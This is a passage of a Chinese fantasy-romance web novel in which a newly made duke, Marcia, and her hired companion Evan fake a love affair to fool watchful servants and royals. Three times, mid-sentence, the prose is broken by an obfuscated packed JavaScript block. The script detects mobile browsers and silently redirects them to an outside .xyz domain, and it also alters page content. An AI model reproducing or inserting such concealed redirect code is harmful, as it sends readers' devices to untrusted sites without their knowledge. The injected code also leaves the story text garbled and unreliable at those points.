斯黛拉故意露出狐疑的表情：“真的么？我不信。” 于是埃文果断地伸出双臂，从背后抱住玛西亚，尤嫌不够亲密，又把脸轻轻贴在她的肩头。 “啊……” 玛西亚发出一声短促的低呼。 她起了一身鸡皮疙瘩，随即感受到身体里的血液正如潮汐般聚涌，一浪一浪地往心头上拍。 台词，这个时候要说什么台词？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010691|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃文的呼吸撞在她的颈间，玛西亚艰难地扭过脸，想从他那儿得到一些提示。 “姐姐，你会一直保护我，对么？” 他记得她曾对莉莉娅特说，只要叫她姐姐，她就没办法不答应对方的请求。 他眨眨眼睛：说啊，玛西亚，说你会这样做。 “埃文，我当然会一直保护你的。”玛西亚终于进入了状态，“你这么喜欢我，我没办法丢下你！哈。哈。哈。” 她深吸一口气，开始适应埃文的拥抱。 其实，感觉还不错。 他的手臂有点重，但厚实的胸膛饱满而柔韧，让人不由地想往他怀里靠。就，挺有弹性的。肌肉是前魔法时代的力量象征，但也切中玛西亚的审美，她本能地喜欢蓬勃健康的东西，仿佛能从中吸取元气。 “玛西亚，你真好。” 他侧着脸，眼睫毛微微颤动，在斯黛拉刚好能看见的角度露出喜悦而满足的微笑。 “因为我喜欢你嘛，我喜欢埃文……”玛西亚迷迷糊糊，半梦半醒地回应他。 斯黛拉摸了摸下巴，评价：“略显生硬，但还算过关吧。” 闻言，埃文把玛西亚松开，后退半步，在她旁边重新站好。刚才的一切都只是为应对突击检查而进行的即兴表演，他完美地诠释了什么叫随机应变。 玛西亚用眼神感激他的可靠。 “斯黛拉！你干嘛突然摆出一副考官的样子？弄得我很紧张。” “因为如果你们连我都骗不过，你就完蛋了。” “……也对。” 斯黛拉：“进了城，每个人都是观众，每双眼睛都盯着你。既然要做戏，就要把表演当成日常。” “你说得对，我明白了。谢谢你的提醒，斯黛拉。” “别客气。” 她把铁铲重重插进冷硬的泥土里：“不过埃文，如果你假戏真做，趁机占玛西亚便宜，即便她心肠软，舍不得烧死你，我也要埋了你。别小看土魔法，用不了一千年，我就让你变成化石。” “我不会的。”他背后一凛，连忙摇头。 斯黛拉继续专心工作，玛西亚和埃文与之告别，往王都的方向走去。 “玛西亚，那个，你还好么？刚才我……” “刚才你做得很好，我确实需要你的引导。如果斯黛拉觉得说得过去，那么效果应该不错。” 埃文松了口气，又有些莫名的失落：“你不生气就行。” “这都是为了领地，还有我的尊严，我完全不在意，我允许你这样发挥。你比我机灵。” 她十分客观地看待他的表演，给出高度评价。 只不过，柔软的纠缠，温热的呼吸，还有搏动有力的心跳，这些东西让她心里发慌。从背后拥抱本来就是这种感觉么？ 一定是因为太突然了，她没准备好。 可来不及做更多准备，考验就又来了，进城没一会儿，她看到了一辆挂有王室徽记的马车。白银家族的旗帜由利剑、盾牌和王冠组成，代表着王权建立于祖先强大的军事实力之上。 这一次，玛西亚没有犹豫，先行抓住了他的手。 埃文愣了一下，然后，他把手指插到了她的手指之间，缓慢地用力握紧。 “玛西亚，别慌，记住，我喜欢你。” “嗯，埃文，我也喜欢你。”她回应，低声念叨了几遍，试图找到最舒服的语气和节奏。 十指相扣让手指根部接触的地方变得拥挤，血液流动不畅，那种又痒又胀的感觉又来了。玛西亚告诉自己，这是正常的，每个新手第一次正式登台都难免紧张。 没问题，一定没问题，至少，她的台词已经念得很熟练。 马车停在玛西亚的面前，车里的人是第一王子莱昂的王妃——美丽的贝拉殿下。 11. 来自女仆的监视 贝拉殿下就像一只被困沼泽的天鹅，美丽，却失去了自由的神采。纵身着华服，头戴宝冠，也难掩眼中的郁色。 “赞美亚斯特的星辰，贝拉殿下。” “没想到在这儿遇见您，布莱斯公爵。听闻您去极北之地解决龙灾，是否一切顺利？” “托您的福，我成功地消灭了冰龙。” 贝拉殿下总算真心地笑了笑：“真好。您又一次搭救了无辜的百姓，给人们带去希望。” 在以利益为前提的婚姻中，爱是无关紧要的东西，但没有爱的关系是多么损耗心气。 虽然和贝拉殿下没见过几次，但想到莱昂王子对贝拉殿下冷落已久，还在舞会上和情人一起跳舞，用这种方式羞辱自己的妻子，玛西亚不禁有些同情她。 于是玛西亚开始翻口袋。 她捡了几片龙鳞回来，冰龙的鳞片和白水晶一样透亮。贝拉殿下当然不缺珠宝，但是，万一她喜欢呢？闪亮的东西总归让人高兴。 她就这样插着兜翻找，贝拉殿下投来困惑的眼神：“您这是在？” 玛西亚总算掏出了龙鳞，把这些亮晶晶的圆片捧起来，恭敬地向前伸出双手。 “请殿下收下我微不足道的心意。” 龙鳞晶莹剔透，比宝石轻，却又硬又结实，碰撞在一起时有类似金属的声音，十分悦耳。 贝拉殿下莞尔一笑，收下龙鳞：“谢谢您的礼物，我很喜欢。公爵身边的这位是？” 玛西亚稍微缓了一口气，慢慢说，“他，他是我的恋人。我们在旅途中邂逅。” 贝拉殿下微微惊讶：“看来您此行收获颇丰。” 再怎么不通人情世故，玛西亚也知道不该在婚姻不幸的人面前炫耀自己的爱情。这个话题便到此为止。 “我对您这样本领高强的人一直很感兴趣，期待有朝一日能听听您丰富的战场故事和旅途见闻。” “会有机会的，贝拉殿下。” 话虽如此，玛西亚却觉得，贝拉殿下如此温柔，不会真心喜欢听打打杀杀的内容。更何况她是王室中人，也不好判断她的立场。 待马车渐渐离去，消失在道路尽头，玛西亚开始向埃文介绍贝拉殿下的情况。 “莱昂殿下与她结婚的时候，王都举办了持续一周的庆典，盛况空前。很长一段时间，人们都在讨论他们两个的爱情。” “后来呢？他是怎么变心的。”埃文问。 “你也看出来了么？也对，贝拉殿下落寞的神情……” “玛西亚，我是平民，是男人，按照一般的礼仪，我怎么能抬头盯着王储妃的脸看啊。” 玛西亚反应过来，因为和埃文相处得太自在，两个人互称名字，脾气又相投，她下意识觉得埃文和自己是一样的人。 不过，本来也是一样的人，她得到爵位才几天。 “那你是怎么判断的？” “你，我的依据是你。”他看向她，金色眼眸里写满聪明，“玛西亚，你每次翻口袋掏出东西送给别人，好像都是为了让对方心情好些。你乐意叫周围的人都高兴，对不对？” 一瞬间，她有种被看穿的尴尬，局促地搓了搓手，说：“是的，我竟然在同情一位王妃。我知道这种貌合神离的婚姻是很常见的，可我还是觉得贝拉殿下可怜。” 玛西亚认为，即便是政治婚姻，没有刻骨铭心的爱，也完全可以对身边的人好一些，给予对方尊重与基础的善意。 如果婚姻的本质是合作，为什么不能好好合作。把一个人的心揉碎，到底有什么意义？ “是我太自以为是，还是我太天真？” “都不是，玛西亚。怎么想都是因为你善良又温柔。哪怕我们生活在地狱，所有人都在脏水里游泳，也依然会有好心人不是么？总不会连这一点光都要熄灭。不然故事还怎么往下写啊！” 不知什么时候，他已经重新牵住她的手：“做你的敌人会被烧成灰烬，做你的朋友会感到温暖。” “那做我的恋人，你感觉如何？”她突然问他。 这算一个工作满意度的调查，毕竟，他们两个还要一起经历很多考验，要了解埃文的感受才行。 埃文脱口而出一句爱丽丝的台词：“被你爱上时，也是我爱上你时，心像被春天温暖的风吹起来，轻飘飘地飞离地面。” “哈哈，真的么？”她觉得他的语气简直像诗朗诵一样夸张。 “真的，玛西亚。” 他收起了开玩笑的表情，认真说：“平心而论，我认为谁做你的恋人都会很幸福，因为你这个人本来就挺好。” 这话比刚才的诗朗诵朴实，可听上去更像情话了。 表演和真心的界限正在融化，变得有些模糊……这可不好。不过，这也许说明他确实胜任这份工作。 由他去吧。 行至王都安静的深巷，象牙白的贵族宅邸次第矗立，尖而高的屋顶指向灰蒙蒙的天空。气派的同时却有些单调。 “埃文，你看到那栋房子么？”玛西亚伸手指向其中一座建筑，“宅邸，以及管家、一众仆人，都是国王对我的赏赐，我不确定他们对我有几分忠诚。” “所以一进门，我们就要开始表演。” “没错。” “明白了。玛西亚，你不妨进门直接宣布我是你的男人，然后要求他们好好对待我。嗯……我想想，打情骂俏有些难度的话，可以多展示对我的占有欲。” “占有欲？” “就像乌鸦把亮晶晶的东西收集到了巢穴中，哪怕只是一颗不值钱的玻璃球，反光的铜纽扣，也不允许其他任何人碰。如果仆人们露出一脸‘公爵大人疯了吧？’的表情，就说明你成功了。” 玛西亚似懂非懂地点点头，在心中酝酿了一会儿情绪，又自言自语了一会儿，一副要把台词嚼碎的架势。埃文被她认真的样子逗得有些想笑，好奇她接下来会如何发挥。 表演时间。 门打开，身着得体制服的仆人们站成两排，迎接玛西亚。 对一个公爵来说，三十人的排场远远不够，但对平民出身的玛西亚来说，接受这么一群人服侍，已经是她的极限。她不习惯来自他人的服务，还在努力适应中。 她故作镇定，先是不说话，眼神淡淡扫过这些面孔，让空气安静了好一会儿，才清了清嗓子。 “这是埃文·贝克尔，我心爱的男人。从今往后，他会住在这里，你们要像对待我一样对待他。” “如您所愿，公爵大人。” 并没有人给出额外的反应。 尽管有几个大胆的年轻仆人，好奇地打量埃文，也仅仅是把玛西亚的行为理解成“公爵带回来一个美貌异性”。在王都，贵族家里发生这种事不是很常见吗？ 玛西亚有些郁闷，好像反响一般，并没有人觉得她疯了。 她不甘心就这样收场，但一时之间，她也确实憋不出来更有效果的台词。 众人解散后，侍女苏珊询问玛西亚：“公爵大人，您一路风尘仆仆，先去沐浴么？” “好，去准备洗澡水吧。” “那么，贝克尔先生，请您随我来。客人的浴室在另一边。”侍女琳达把埃文往另一个方向领。 玛西亚脱口而出：“谁说他是客人？” 然后，她慢慢抬起头，一字一顿地说：“琳达，记住。埃文是我的恋人。” 埃文为她的超常发挥叫好，没错，就是要这样突然敏感一下，过度紧张，甚至有些神经质，纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010692|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正一些并不重要的细节，凸现对恋人的在意。 谁料琳达的脑子转得快，另有一番理解：“实在抱歉，公爵大人，原来您们要一起洗。我这就去准备更热的洗澡水。” “嗯？” 琳达行动力惊人，拖着苏珊快步离去。玛西亚朝空气伸出一只手想要拦住她，却什么也没抓住。 “玛西亚，你别慌！” 埃文让玛西亚别慌，实际上自己才慌，他脑子里全是浪漫小说里不能说的内容，因为想象力过于丰富，他的脸在快速变红。 “埃文，我不慌。” 她冷静极了，用只有埃文能听见的声音说：“我从来没觉得琳达做事利索。她今天这么积极很奇怪，似乎迫切地想要验证什么。” “你怀疑这个琳达是别人派来监视你的？” 玛西亚哼了一声：“准确地说，我认为他们每个人都是来监视我的。” “那你有什么打算么？” “我们随机应变吧，埃文。” 她没有多说，带他走进了水汽氤氲的浴室。 巨大的圆形浴缸摆在靠窗的位置，橄榄味的软香皂由黄金器皿盛着，色调与淡黄棉质褶边窗帘相映成趣，地面上铺满浅灰与淡绿色的马赛克瓷砖，一切都奢华富丽。 这是公爵应有的品味，却不是玛西亚个人的品味。 她还是喜欢简单一点。 琳达上前接过玛西亚的外衣，放在衣架上。苏珊也伸出手，来解埃文领口的扣子。 “等等，他是我的男人。” ——就像乌鸦把亮晶晶的东西收集到了巢穴中，哪怕只是一颗不值钱的玻璃球，反光的铜纽扣，也不允许其他任何人碰。 “我，玛西亚·布莱斯，能让其他女人看到埃文的身体吗？不能。”她自问自答。 ——如果仆人们露出一脸“公爵大人疯了吧？”的表情，就说明你成功了。 琳达讪讪地给苏珊使了个眼色，两人知趣离去。 这时，玛西亚走近他，小声道：“接下来靠你了。她们一定在外边听。你知道该发出什么声音吗？” 埃文艰难地呼吸，咽下不安的感觉与纷纷杂念，尽量不带感情色彩地冷静讲述。 “小说里……这种，这种事情，过程大都是用什么绽放的花朵、衔蜜的蜂鸟、游动的鱼之类的意象来指代。如果说声音，也只是些意味不明的拟声词……” 说着说着，他的背后渐渐渗出汗滴，声音越来越小。 玛西亚眉头一皱：“这也太抽象了。” 她想了想，走到屏风后，脱掉衣服，留一条长及膝盖的衬裙，抬腿迈进浴缸。顷刻间，洗澡水晃动着漫溢出来。 她把拿到领地当头等大事，并不因裸-露身体而羞耻。只着衬裙虽然不雅，但王都的夏季炎热，礼服也有露肩、露手臂的款式。她没来得及考虑生活在冰原，终年穿长袖的埃文会不会受到冲击。 “来吧，埃文，我相信你。” “我不相信自己啊！！”他快哭了，“我真的不会！” “我是说，来给我捏肩膀。” 这就是玛西亚想到的对策。 埃文愣了一下，旋即佩服她的聪明，忙像条小狗似的乖乖听话，把手搭在她的肩头。可他刚一使劲，玛西亚就痛得在浴缸里打了个滚：“救命！我的天，你轻点儿！” 这一声叫得太惨，反而不像了。 他知道女人的身体更柔软，到底没真的触碰过，原来还要再收着点儿力。 “对不起，对不起。”埃文慌张地道歉，“这样呢？会……舒服些么？” “啊，对，就是这样，埃文，很舒服！嘶……” 也许效果很好？但埃文的心里突然很煎熬。 12. 卧室之间的通道 浸没身体的温水，配合力度刚刚好的按摩，让人忘记烦恼。 玛西亚惬意地吁出一口气，公平地提出交换：“接下来我来帮你。” 瞥见玛西亚透红的皮肤，以及被水漂起的柔软衣裙，他眼睛快速挪开，拒绝道：“玛西亚，不，不了吧。” “埃文，只有我一个人湿漉漉出门可不行，你至少得洗个澡。”她低声说。 “可是，我……” 玛西亚总算意识到埃文在害羞。 “我不看你，”她起身，任水哗啦啦地从她身上流下来，光着脚走了两步，从架子上取下毛巾，坦荡地说，“你放心洗吧。”说罢，她便朝屏风后走去，施魔法把自己的头发弄得半干。 她理解并体谅他，没有一点儿失望的意思，这让埃文羞愧难当。玛西亚在自己的家里没有可信任的人，敌人藏在暗处，她在努力地应对危机。可埃文居然比玛西亚还扭捏。 就这么把自己当回事么？ 她雇他是来帮忙的，他不该在关键的时候派不上用场。 于是，他脱了衣服，露出年轻壮实的身体，扶着浴缸光滑的边缘，慢慢坐下去。抓起香皂，打出丰富的泡沫，又拧动阀门，加了些热水，制造更多蒸气。完成这一切后，他喊玛西亚出来。 “玛西亚，我准备好了。”他突然放开了嗓门，“来吧，亲爱的。” 玛西亚困惑地歪头看埃文。为什么一下子这么有干劲？ 这时，隔着门，传来侍女走动的声音。原来如此，表演时长不够，观众还没有走，埃文还挺机警呢。 雇他果然是对的。 如果说刚才埃文力度正好，把她紧绷的肩颈揉开，按得她直哼哼，此刻玛西亚的手法就完全业余，她缺乏伺候人的天赋，像在闹着玩儿，轻轻扒拉他，引得他不断地想笑，又勉强忍住。 “别……痒！玛西亚！饶了我！” 效果意外地不错。 至少，贴在浴室门上偷听的琳达瞪大了眼睛，脑海中补全了十分激情的画面。 待水声渐无，她才轻轻敲门。 “公爵大人，衣服准备好了。” “拿进来吧。” 表演结束，两人换好干爽的衣服，离开浴室。 琳达问：“公爵大人，要让贝克尔先生休在哪个房间呢？” 玛西亚没多想，说：“当然是公爵夫人的房间。” 先有这座公爵宅邸，后来玛西亚才成为公爵。这使得房间的名字有些乱。 在亚斯特的历史上，很少有女公爵，即便有，她们的丈夫也多为级别相近的大贵族，自己就有头衔，人们不至于不知道该怎么称呼女公爵的伴侣。现在仆人们权且叫埃文“贝克尔先生”，不难猜到，私底下他们一定是在叫他“那个小白脸”。 公爵和公爵夫人的卧室之间连着一条通道，两侧都有门锁，双方各持一把钥匙，这是贵族夫妻普遍的生活方式。 这对于相看两厌的真夫妻或许合理，但对玛西亚和埃文这对时刻需要对台词的假情侣来说可真是太不方便了。 玛西亚一关上门，就立刻打开通道，走进埃文的房间，坐在沙发上和他复盘：“今天顺利过去了，我对你的表现很满意！” “那就好，玛西亚。我得道歉，刚才我差点拖你后腿。”他的心跳仍未平复，额头上还挂着未干的水滴，又问，“过后吃晚饭，在餐厅需要注意什么？” “不用去餐厅。他们总是做一大桌，叉子勺子，各种餐具，银光闪闪。但每个盘子里真正能吃的东西又只有一小点儿。我嫌麻烦，都让他们直接把食物送到房间里。” “爱丽丝也是这样。她讨厌自己坐在长桌一边，路易吉坐在远远的另一边。” “爱丽丝？哦，是《铁血公爵对我动心》里的女主角。” “是的，你和她很像。不，你和路易吉公爵也像。好奇怪，你是他们的混合体，强大又平易近人，理智的同时不失细腻的情感。” “你再夸我，我这个公爵就真的要对你动心了。”她笑笑。 埃文睫毛微微颤动，抬眼看着她。 “休息吧，我一会儿去暮星酒馆交克劳德·斯温的回信，明天带你去逛街。真的，埃文，谢谢你。” “应该的。希望以后我可以更胜任这个角色。” 走出宅邸，冷风灌满怀。玛西亚腰间传来了一股温暖，是埃文送给她的那枚炎晶鸟蛋。热力很微弱，但是无法忽略。这使她脑海中浮现埃文略带害羞的笑颜。 在某个目光交汇的时刻，玛西亚觉得，埃文好像很迷恋自己。很快，玛西亚又觉得自己的想法离谱，他应该只是还没出戏。 她在风中摇了摇头。 埃文则在华丽的、布满蕾丝和花朵装饰的卧室中感到孤独。玛西亚在的时候，他顾着和她说话，不曾注意这间房子这么大，等她一走，名贵的家具就开始包围过来，挤压他的存在。 四柱床的帏幔是囚人的软墙，水晶吊灯则把他的影子撕成碎片，壁炉里的火苗像极了野兽的红舌头…… 怪不得故事中独守空房的女主角会那么害怕，确实值得害怕，陌生的环境，简直要把人活吞了。 玛西亚住得惯么？ 这座宅邸，这些陈设，连带仆人们都是属于她的，但好像没一样合她的心意。他无端觉得，如果让玛西亚做主，房子里的一切都会是另一副样子。 会是什么样子呢？他想不出。也许等她到了怀特兰，会自己盖一座房子。不过那时候他已完成了任务，就不会在她身边了。 蓦然间，他觉得点儿不好受。喉头发干，胃里也空荡地反着酸——哦，原来是肚子饿了。 直到九点钟，女仆琳达才给埃文送来了食物。是简单却实在的食物：面包、蔬菜沙拉和肉汤。 可埃文很快发现面包很硬，绝对是隔夜的。蔬菜不仅不新鲜，还只有胡萝卜和几片软趴趴的生菜。肉汤也已经冷透，完全不冒热气，汤上的油脂结成了薄片，腻腻地沾在勺子上，让人看了就毫无食欲。 虽然埃文不挑食，并且从心底感激玛西亚给予自己的一切待遇，但被仆人怠慢显然是另一回事。 他疑惑地看向琳达，琳达回以模式化的冷淡微笑。 奇怪，刚才他们的浴室表演，以及他住进了这间属于“公爵夫人”的卧室，还不能让他们相信埃文对玛西亚来说是重要的人么？ 刁难他，对一个女仆来说有什么好处呢。 “晚饭就是这些？” 琳达微微挑了下眉毛，对埃文的发问充耳不闻。 看她装傻充愣，无视他的问题，埃文干脆哗啦一声，把食物全都掀翻，任由汤汁洒在洁白的床单上、名贵的地毯上，白瓷盘子碎成数片，崩裂四散。 琳达不可思议地瞪圆眼睛，咬着后牙，挤出一句：“您作为公爵大人的情人，私底下这副样子，如果叫她知道了……” “恋人。纠正一下，我们是彼此相爱的人。” “装什么金贵，等公爵大人玩儿腻了……”她小声嘀咕，声音却刚好能被埃文听见。 这种剧情在浪漫小说中多么常见。 出身低微的女主角嫁入豪门，内心不安的同时，还被势利眼的恶仆欺负，听他们的冷嘲热讽……如果她对男主角缺乏信心，没有安全感，恐怕还会不敢告状。 可埃文不一样，埃文对玛西亚太有信心了。感情虽假，两个人却绝对是一伙的。虽然他不太想承认，但在现实中，契约就是比瞬移万变的真心坚牢。 “你一点儿都不了解自己的主人啊，琳达。难道玛西亚在你心中就是个好色之徒？” “别歪解我的话！”琳达没好气地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010693|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“厨房关火了，没有别的食物。您今晚要为自己的任性饿肚子了呢。” “真好笑。难道你觉得饿我几顿，我就会哭着离开公爵府么？我一辈子能遇见几个公爵？就算给玛西亚当狗，我也会赖在这里不走。” “好啊，这就是你的真面目！” “没错，这就是我的真面目。可玛西亚就是喜欢我，你又有什么办法？女仆小姐。” 埃文露出得意洋洋又十分无耻的笑容，让琳达气到面容扭曲。 琳达，传出去吧，说给所有人，玛西亚被一个美丽而恶劣的小白脸迷住了。 完成这番演技爆发之后，他转动钥匙，穿过通道，大摇大摆进入了玛西亚的房间。 埃文甩了拖鞋，趴到她柔软的大床上，肚子正因饥饿咕咕地叫。但是没关系，心里痛快多了。 “既然有人针对我，那我一定是有用的。” 他不害怕，不委屈，反而产生了价值感，以及拿到新剧本的兴奋，他在心里暗暗地高兴。 暮星酒馆。 酒馆常客潘仍坐在同样的位置上，他一只手托着下巴，一只手摇摇晃晃地端着酒杯，眼睛注视着虚空。 “好久不见，玛西亚，你看上去气色不错。” “谢谢你，潘。你最近怎么样？” “一切都好，只不过……到底怎么做她才会爱我啊……嗝……为什么她又来我的梦里面……” 玛西亚：“照例深表同情。” 真是一场狼狈而艰苦的单恋。不过这次她稍微能够理解一些了。相爱的感觉很美好，即便是模拟的恋爱，人在那种互相取悦、彼此看见的氛围里也会有些飘飘然。不怪他如此渴望。 玛西亚交了任务，送上克劳德·斯温给贵妇的回信，领了十个沃伦索的报酬之后，也点了杯酒犒劳自己。 暮星酒馆的老板劳拉诧异：“今天怎么转了性，你不是不爱喝这种味道淡得像水的琉璃苣酒么？” “身上有酒味会很难闻。” “呵呦，我听见什么了不得的话了。玛西亚，你是火魔法师，火魔法师怎么会抗拒酒精呢？那不是你们的生命补剂，灵魂之水，魔力源泉么！” “这并没有依据。我也只是偶尔喝。” “真的么？”劳拉激她，“今天琉璃苣酒正好特价，还附赠现烤饼干。” 特价，一句百试百灵的咒语。穷人家的女孩儿发迹后也抵御不了的诱惑。何况还有赠品。饼干么？埃文好像挺爱吃。 “那就再喝一杯。” “一杯？”劳拉挑眉。 “这瓶都给我吧，反正，是琉璃苣酒。饼干打包，谢谢。” 琉璃苣酒有着清爽的口感，让人心情放松，增强勇气与直觉，却不至于发酒疯。 回到家，夜已深。 玛西亚本来就不喜欢被仆人围着，现在夜深人静，又酣饮到尽兴，正是她心情最好的时候。 她打了个响指，空气中出现一朵跳跃的小火苗，借着这点光，她爬上楼梯，走进卧室。 埃文？为什么埃文会在她的床上。 酒精降低了她的判断力。似乎为了确定这个漂亮到有点邪门的男人是否真的有实体，她伸出了手指去触碰，指尖抵达他柔软的皮肤后又缩了回来。 “我不觉得我们有一起睡觉的必要，埃文，你不是说要循序渐进么？” 一开始，她还能皱着眉头，和一个睡熟了的人讲道理，到后来，两只眼睛已经没办法往一处看，嘴里的话失去逻辑，变成了没有含义的嘟囔。 玛西亚心中充满困惑，他教给她的台词不停地在脑海内复现，杂糅在一起。 乌鸦、亮晶晶的东西。 玻璃球、铜纽扣…… 玛西亚为什么会爱上埃文？ 我喜欢你，所以，你喜欢我。 13. 自然流淌的台词 睡梦中，玛西亚感到前所未有的满足。一半是酒精的作用，一半是被爱的虚荣。 她梦见了自己的少女时代，梦见了在鸽子镇给人帮佣的妈妈，玛西亚高兴地朝她跑过去。 “妈妈，我认识了一个可爱的男孩！” “是么！跟我说说，”正在擦地板的妈妈把抹布往水桶里里一丢，直起腰来，眼睛直勾勾地看着玛西亚，“他有什么好？” “他……” 玛西亚还没有开口，妈妈就打断她：“得啦，你们才认识几天啊。别这么没出息，玛西亚，别人对你稍微好一点儿，你就乐坏了！动心了！那怎么成？” 玛西亚觉得有道理，妈妈的话总是很实在，让她远离可能的情感伤害。毕竟她是个穷人家的女儿，生活没有给她犯错的机会。 妈妈脸上的皱纹与鬓边的白发是无言的教育，生活是辛苦的，紧抓住一件最可靠的事，别去奢望别的。何况她样貌普通，性格沉闷，没有人会对她一见钟情。 正当她有些失落之际，另一个热情的声音响起了。 “玛西亚！” 妈妈的脸开始变形，五官像融化了似的错位，逐渐组成新的面孔，最终变成了埃文的脸。 “玛西亚！我喜欢你。你呢，你也喜欢我么？” 他一步步地走过来，张开双臂，把她包在怀里。这个拥抱温暖得不像话，让不畏寒冷的玛西亚都眷恋起来。 她不怕冷，但不意味着，她不需要温暖…… 埃文金色的眼睛闪烁着，像两颗美丽的星星。星星的光芒突然射穿了她的心脏。这非自然的场景使玛西亚隐约觉察自己在做梦。 梦很美好，很安全，梦里不会有人受伤害。 于是玛西亚胆子大了一些，暂忘妈妈的严苛的教诲，偷偷地对他点了下头。 “是的，我喜欢……喜欢。” 次日清晨。 埃文睡眼惺忪地醒来，看到玛西亚躺在身侧，险些发出一声尖叫。 昨晚他本该坚持到她回来，但是身下有张舒舒服服的床，又刚洗过热水澡，旅途积累的疲劳迟缓地爬上来，眼皮越来越沉，不知不觉就睡着了。 他动了动鼻尖，从她身上闻到温暖的气息，像被阳光晒得蓬松的棉花，一丝酒味似有若无。 一定是玛西亚从酒馆回来，有些醉，没注意到他在这儿。 “唔，如果是这种情况的话……” 也许，玛西亚会突然睁开眼睛，猛地抓住自己的手，用力到指尖泛白，像捕食者一样压迫感十足。青绿色的眼睛细眯起来，以略带沙哑的嗓音问他：“是谁派你来的？故意接近本公爵有什么目的！”然后他委屈地红着眼，咬着嘴唇，为自己辩解：“不是的，大人，请听我解释……” 或者换一种温和的方式？ 他先声夺人，礼貌而疏离地告诉玛西亚，倔强地挺直脖颈，这只是一场误会：“公爵大人，我会消失得无影无踪，您不必在意。”然后玛西亚愣怔地伸出手挽留：“美人，至少告诉我你叫什么名字。” 好像都有点俗套？ 那么不如设定成两个人本就互相喜欢，阴差阳错地一起过夜，然后…… 等等，快停下！他急忙晃了晃脑袋。这对玛西亚太冒犯了，埃文，你在做什么啊！ 眼下只有一份需要恪守本分的工作。不该幻想着可以和雇主产生真感情，应该明确界限，避免尴尬。 这时，玛西亚翻了个身，后背对着他，棕色长发打着卷摊开，露出脖子和漂亮的肩头。 一瞬间，似乎有什么滚烫的东西点燃了埃文，怪异的感觉让他害臊又恐惧，昨天在浴室的回忆猛然钻进了他的大脑。 他艰难地咽了咽口水，总算不再想象浪漫故事，复现小说里乱七八糟的情节，做出了最理性的选择——逃跑。 他轻手轻脚地下床，身体前倾，做贼似地小步快走，穿过通道，回到了公爵夫人的卧室。 昨晚的狼藉已经被仆人们收拾干净，好像什么也没发生过。这是一个很好的谕示，是的，什么也没发生过。 现实高于浪漫，不要幻想。 过了一会儿，玛西亚醒了。 “埃文？” 没有埃文，哪儿来的埃文？她摸了摸身侧的床单，体会空气里残留的温度，对自己的记忆产生怀疑。 看来今后还是要少喝酒。 她没有让琳达进来给自己梳头，而是坐在妆镜之前，拿出梳子自行打理。自从玛西亚发现侍女们只会花三个钟头把她打扮成高耸入云的移动首饰台以后，她就再也不让她们服侍。 简单把头发扎好，她穿过通道，去找埃文。 不知何故，埃文的面色有些古怪，脸红得不自然，眼睛也躲闪。 不等玛西亚开口问，他就先用肚子里咕噜咕噜的声音欢迎她。 他不好意思地说：“日安，玛西亚。那个，什么时候能吃早饭？还是说贵族不用劳作，所以不吃早饭？可我实在饿坏了。” 玛西亚惊讶：“埃文，我走的时候明明告诉了琳达要她给你送饭。” 她把包了饼干的纸袋递给他：“你先垫一垫。跟我说说，到底是怎么回事？” 埃文接过玛西亚的投喂，把昨晚遭遇的事讲给玛西亚听。 “难不成，她想让你觉得委屈，然后离开我？可是，咱们只要稍微沟通一下，琳达就会受罚。”她对此不解。 “也许，她就是想看看我敢不敢跟你说。” “什么意思？” “如果我只是你心血来潮，一时兴起带回来的玩物，遇到一点小事就找你告状，你应该很快就讨厌我了。” “我明白了，琳达，或者说‘他们’，他们想用这种方式，探明我的态度。判断你在我心中到底有多重要。” “我觉得是这样。” “有区别么？深爱和普通的喜欢，都不影响我跟你在一起的事实。” “有没有一种可能，玛西亚，他们不在意你的感情史，只要最后能得到你就行了。” “怎么会？白银家族对自己的血统十分重视，‘纯洁’是成为王室新娘的必要条件。” 埃文小心地措辞：“如果他们不是想得到一个新娘，只是想要一位魔法师的……” 玛西亚反应过来：“血，他们想要我的血。” 难不成，安东尼奥说丈夫会吸干她的血，不是比喻，而是指她的血液本身？ 也许她的血有什么特殊的用途。如果是那样，卡尔就只是一个诓骗她上钩的诱饵。他们觉得玛西亚是个会为王子的追求晕头转向的女人。 一时间，玛西亚竟不知道被人当成稀有材料和被人当成蠢货哪个的侮辱性更强。 埃文看着玛西亚愤怒而沉默的样子，不由想要安慰她，可惜他只能说些不疼不痒的话：“玛西亚，你别着急，事情要一件一件的解决。” “嗯。” 玛西亚默默冷静了一会儿，理性重新占据上风。 继续演下去吧，要装不知道。但是，也得维护埃文，体现她对他的重视。要给国王面子，赏赐的仆人不能全都赶走，但琳达这种冲锋陷阵的人，也实在不该留。 吃过早饭后，玛西亚叫来琳达。 “我曾说过，要像对待我一样对待他。你让他挨饿，就是让我挨 